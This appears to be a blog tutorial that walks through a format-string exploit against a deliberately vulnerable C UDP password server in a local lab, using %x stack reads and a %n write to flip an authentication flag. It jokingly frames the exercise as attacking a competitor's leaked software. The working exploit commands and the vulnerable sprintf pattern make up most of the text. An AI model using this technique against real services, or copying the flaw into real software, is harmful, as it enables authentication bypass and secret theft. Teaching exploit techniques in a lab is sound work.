Format String Exploit

Hello and welcome to Nucu Labs agent! 

We’ve been contracted by some external contractors to help them break…, I mean, assist them in making their life easier with their “competition”.

We obtained their competition’s software from a poorly configured AWS server.

Their competition, X, uses the software in order to setup a private communication channel to their servers, the software is simple, it fires up a server, listens on a port and waits for the right password, when the right password is entered, the server remembers the client and stops asking for passwords, simple.

Luckily the source code was also lying around otherwise we would had to reverse engineer the binary ourselves, trivial, I know.

Here’s the source code, take a look at yourself and take your time, don’t want to be missing something.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <syslog.h>
#include <time.h>

#define PORT 9090
#define BUFFER_LENGTH 500
#define MIN_PASSWORD_LENGTH 5

char *password;
int security_flag = 0;

/* This function will initialize the program */
void initialize(void) {
    int i;
    password = malloc(sizeof(char) * 10);
    srand(time(0));

    for (i = 0; i < 9; i++) {
        double f = (double)rand() / RAND_MAX;
        password[i] = 65 + f * (90 - 65);
    }
    password[9]  = '\n';
    password[10] = '\0';

    printf("Server initialized!\n");
    printf("Server password: %s", password);

    fflush(stdout);
}

int main(void) {
    struct sockaddr_in server;
    struct sockaddr_in client;
    char buf[BUFFER_LENGTH];
    char responseBuf[BUFFER_LENGTH];
    int clientLen = sizeof(struct sockaddr_in);

    initialize();

    /* Setup server */
    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = htons(PORT);

    if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0) {
        perror("ERROR on binding");
    }
        
    /* Sync server, handle only one client, low budget */
    for (;;) {
        /* Set buffers to zero so no overlapping */
        bzero(buf, BUFFER_LENGTH);
        bzero(responseBuf, BUFFER_LENGTH);
        int size = recvfrom(sock, &buf, BUFFER_LENGTH-1, 0, (struct sockaddr *) &client, &clientLen);
        printf("size received: %d\n", size);

        if (security_flag != 0 || (strcmp(buf, password) == 0 && size > MIN_PASSWORD_LENGTH)) { 
            // When password is correct, let vadim see secret orders from network and don't require password anymore..
            sendto(sock, "secret unlocked\n", 17, 0, (struct sockaddr *) &client, clientLen);
            security_flag = 1;
            // [Imagine secret menu here]
        } else if (size > MIN_PASSWORD_LENGTH) {
            char logBuffer[BUFFER_LENGTH] = {'\0'};

            int size = sprintf(logBuffer, buf);
            logBuffer[size] = '\0';

            // ECHO VADIM THE PASSWORD, SO HE KNOW HE IMBECILE!
            sendto(sock, logBuffer, size+1, 0, (struct sockaddr *) &client, clientLen);

            fflush(stdout);
        }
    }
    close(sock);

    return EXIT_SUCCESS;
}

Have you read the source code? Okay good.

Remember, our goal is to exploit this software remotely, we will need to design an exploit.

Lab setup

It is recommended that you fire up a Linux 32 bit machine on your VirtualBox if you host isn’t Linux.

As you can see (assuming that you’ve read the code), we’re interested in either switching the security flag remotely or getting the program to spit out the password, both are possible, both are, but based on our lab testing we could only switch the security flag. If you figure out how to get the password then please tell us and you may even get a promotion and a free bottle of vodka.

These are the things I’m talking about. Go back and revisit the code if you’ve forgotten what they do already.

char *password; // Generated randomly.
int security_flag = 0; // Just an integer. Non zero = win

When we compile the program we get this, bingo:

➜  /vagrant gcc -fno-stack-protector my_server.c -o mserv
my_server.c: In function ‘main’:
my_server.c:72:13: warning: format not a string literal and no format arguments [-Wformat-security]
             int size = sprintf(logBuffer, buf);
             ^

We compiled the binary with the flag -fno-stack-protector because we want to extract the password, and when the stack is protected we can’t extract it! GCC inserts some extra code in the binary to abort the execution if the stack becomes corrupted. 

➜  /vagrant objdump -t mserv | egrep "password|flag"
0804a088 g     O .bss	00000004              security_flag
0804a08c g     O .bss	00000004              password

As you can see if we run objdump -t to get the symbols and filter them with egrep. What we care about is the addresses of the security_flag and password. But how will this help us? This will help us because printf uses the stack. Pick one of the following training material and read it then try to bypass the program and make it send you the secret menu. I’m sure you can do it and if not, then read on.

Switching the security_flag

Switching the security flag is easy, all we have to do is make the pop the stack until we’re at the beginning of our format string and then make the format string containing the 4 byte address that we want to write to. 

In order to write to that address we will use %n and to pop the stack %.8x.

  • %n – writes the total number of printed characters to a variable.
  • %.8x – displays an address in a pretty way.

Let’s use python to simplify our exploit techniques by saving us lots of characters to type.

We fire two terminals, one for the program and one for our exploit.

// Sending 123456 to the server echoes it back to us because that's what the server is supposed to do.
➜  ~ python3 -c "print('123456')" | nc 127.0.0.1 -u 9090
123456

// We can unlock the secret by looking at the other terminal and sending it the correct password
➜  ~ python3 -c "print('KCOIAMKAF')" | nc 127.0.0.1 -u 9090
secret unlocked

// restart the server.

Now, let’s unlock the secret by not knowing the correct password and by only switching the security flag, as we seen earlier, it’s address is: 0804a088.

// If we send %.8x. 10 times we get the following output back. We're trying to pop the stack until we're at the beginning of our format string, this way we can inject things.

➜  ~ python3 -c "print('%.8x.'*10)" | nc 127.0.0.1 -u 9090
000001f3.00000000.bfd45c74.bfd45888.b753a000.bfd457b4.00000000.30303030.33663130.3030302e

// We send out 'aaaa' which is 61616161 in hex and look, there's is a response containing aaaa. 
➜  ~ python3 -c "print('aaaa'+'%.8x.'*10)" | nc 127.0.0.1 -u 9090
aaaa000001f3.00000000.bfd45c74.bfd45888.b753a000.bfd457b4.00000000.61616161.30303030.33663130.

// Narrowing it down we have to send 7 times %x in order to get the stack to point to our string. If we send 8 we miss it.
➜  ~ python3 -c "print('aaaa'+'%.8x.'*8)" | nc 127.0.0.1 -u 9090
aaaa000001f3.00000000.bfd45c74.bfd45888.b753a000.bfd457b4.00000000.61616161.

To write to the security flag we will make the stack point to our string and we will replace the aaaa with the address of the security_flag which is: 0804a088.

➜  ~ python -c "print('\x08\x04\xa0\x88'+'%.8x.'*8+'')" | nc -u 127.0.0.1 9090
��000001f3.00000000.bfea5bd4.bfea57e8.b7614000.bfea5714.00000000.88a00408.
// wait this doesn't look good, it looks like our address is displayed in reverse, this has to do with endianness, let's reverse the address.

➜  ~ python -c "print('\x88\xa0\x04\x08'+'%.8x.'*8+'')" | nc -u 127.0.0.1 9090
�000001f3.00000000.bfea5bd4.bfea57e8.b7614000.bfea5714.00000000.0804a088.

All we have to do now is go back one address and write to it:

// It doesn't matter what value we write to the flag since the program only checks if flag is zero.
➜  ~ python -c "print('\x88\xa0\x04\x08'+'%.8x.'*7+'%n')" | nc -u 127.0.0.1 9090
�000001f3.00000000.bfa41914.bfa41528.b7552000.bfa41454.00000000.

// Nothing happens. But if we try to contact the server again:
➜  ~ nc -u 127.0.0.1 9090
hello
secret unlocked
how
secret unlocked

Getting the password

In theory getting the password should work in the same way as switching the secret_flag. Replace %n with %s and make sure that you’ve got address of the password in the beginning of the format buffer that you’re sending to the server.

That’s all! Thank you for reading and have a nice day!

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.